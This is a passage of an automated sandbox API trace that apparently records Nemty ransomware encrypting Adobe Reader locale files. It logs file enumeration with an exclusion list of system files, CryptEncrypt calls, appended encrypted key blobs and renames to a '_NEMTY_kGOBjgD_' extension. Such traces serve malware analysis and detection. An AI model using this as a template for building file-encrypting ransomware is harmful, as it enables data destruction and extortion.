out: hHeap=0x4f90000) returned 1 [0182.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUM", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.RUM", lpUsedDefaultChar=0x0) returned 11 [0182.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.466] Sleep (dwMilliseconds=0x5) [0182.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20687810, dwHighDateTime=0x1d561e8)) [0182.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20687810, dwHighDateTime=0x1d561e8)) [0182.471] GetLastError () returned 0x0 [0182.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.471] GetLastError () returned 0x0 [0182.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.471] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.471] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.472] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.472] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="CRseeR40qMpJfZEzSd8N25Ri7uVUtnFfnzddmlQkvjHntvGpcIbhwPUMl3x8GlH+\r\n21ewqB0tv6dK7mvt6D+T40iP5dAt3H83ALYD5NYLBgbR9zfdGAQASShMbmF4cLtA\r\n3SkhSP7Y3bQ/ZOkPnQD/fj24tjRgcle5By2FM0Rrm4/8qwR52j4DCwjyTHa2qaj+\r\nkFUEM3DpTnEQ7EE9ixvi6RQ6ZcXYu62jipWA6FY0sSI8z0g24tqTurTA9zmo6ECx\r\nuMzSKWDegafAoTfkdlNWhFsCGMx3Tu47mTrJ/8nSBUtYbNp8qZevmYb3lw9CzXE5\r\nDfbih3FbOPISnb47y1J/eA==\r\n", pcchString=0x653e5dc) returned 1 [0182.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.472] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\EScript.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\escript.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.475] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=41984) returned 1 [0182.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa400) returned 0x6352c48 [0182.475] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.475] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa400, lpOverlapped=0x0) returned 1 [0182.479] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.479] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa400, lpOverlapped=0x0) returned 1 [0182.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.479] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=41984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa400 [0182.479] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.479] CloseHandle (hObject=0x2e8) returned 1 [0182.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.480] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\EScript.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\escript.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\EScript.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\escript.rum._nemty_kgobjgd_")) returned 1 [0182.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.481] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.RUM", cAlternateFileName="")) returned 1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2=".") returned 1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="..") returned 1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="...") returned 1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="windows") returned -1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="rsa") returned -1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="NTDETECT.COM") returned -1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="ntldr") returned -1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="MSDOS.SYS") returned -1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="IO.SYS") returned -1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="boot.ini") returned 1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="boot.ini") returned 1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="ntuser.dat") returned -1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="desktop.ini") returned 1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="CONFIG.SYS") returned 1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="RECYCLER") returned -1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="bootmgr") returned 1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="programdata") returned -1 [0182.481] lstrcmpiW (lpString1="IA32.RUM", lpString2="appdata") returned 1 [0182.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUM", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0182.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUM", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.RUM", lpUsedDefaultChar=0x0) returned 8 [0182.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUM", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0182.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUM", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.RUM", lpUsedDefaultChar=0x0) returned 8 [0182.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUM", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0182.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUM", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.RUM", lpUsedDefaultChar=0x0) returned 8 [0182.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUM", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0182.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUM", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.RUM", lpUsedDefaultChar=0x0) returned 8 [0182.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.482] Sleep (dwMilliseconds=0x5) [0182.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x206ad970, dwHighDateTime=0x1d561e8)) [0182.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x206ad970, dwHighDateTime=0x1d561e8)) [0182.487] GetLastError () returned 0x0 [0182.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.487] GetLastError () returned 0x0 [0182.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.487] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.487] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.487] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0182.487] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="3FFDv6j1lF9eQf9fHY5mWUvEh7uvvm2HawdzXTf23ni0WFLdWzTSZhOyA206+3MN\r\n+dU1ZplAyagS4F28sfzQRiOmIZQjhx//L2hgrmjRZclBG6qPRW44TSbBlNl2lVPS\r\nn8iC0nkAQxjqGOq0keLlZchwEoAG/yvNA0p599HQnPmon2xF+1ZPeY5Qg7X1Rd0p\r\nzOHgoubpLG867qzhTGtDkOGXTq3ljpGldto2qpItSrfVMYsoi7EP4Wkw4aKw41Lu\r\nJvcdMu/la3nptmd6yT6f0JBObuihqBRw2o9bzKSO7X/vEH4IZIl+nINApH5+lkeH\r\n7mF+Q30pmw7XwgUYB3SuuA==\r\n", pcchString=0x653e5dc) returned 1 [0182.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0182.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.487] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\IA32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\ia32.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.488] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0182.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0182.488] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.488] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0182.489] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.489] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0182.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0182.490] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0182.490] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.490] CloseHandle (hObject=0x2e8) returned 1 [0182.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0182.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0182.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0182.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.490] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\IA32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\ia32.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\IA32.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\ia32.rum._nemty_kgobjgd_")) returned 1 [0182.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0182.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.491] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="MakeAccessible.RUM", cAlternateFileName="MAKEAC~1.RUM")) returned 1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2=".") returned 1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="..") returned 1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="...") returned 1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="windows") returned -1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="rsa") returned -1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="NTDETECT.COM") returned -1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="ntldr") returned -1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="MSDOS.SYS") returned -1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="IO.SYS") returned 1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="boot.ini") returned 1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="boot.ini") returned 1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="ntuser.dat") returned -1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="desktop.ini") returned 1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="CONFIG.SYS") returned 1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="RECYCLER") returned -1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="bootmgr") returned 1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="programdata") returned -1 [0182.491] lstrcmpiW (lpString1="MakeAccessible.RUM", lpString2="appdata") returned 1 [0182.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUM", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0182.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUM", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.RUM", lpUsedDefaultChar=0x0) returned 18 [0182.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0182.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUM", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0182.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 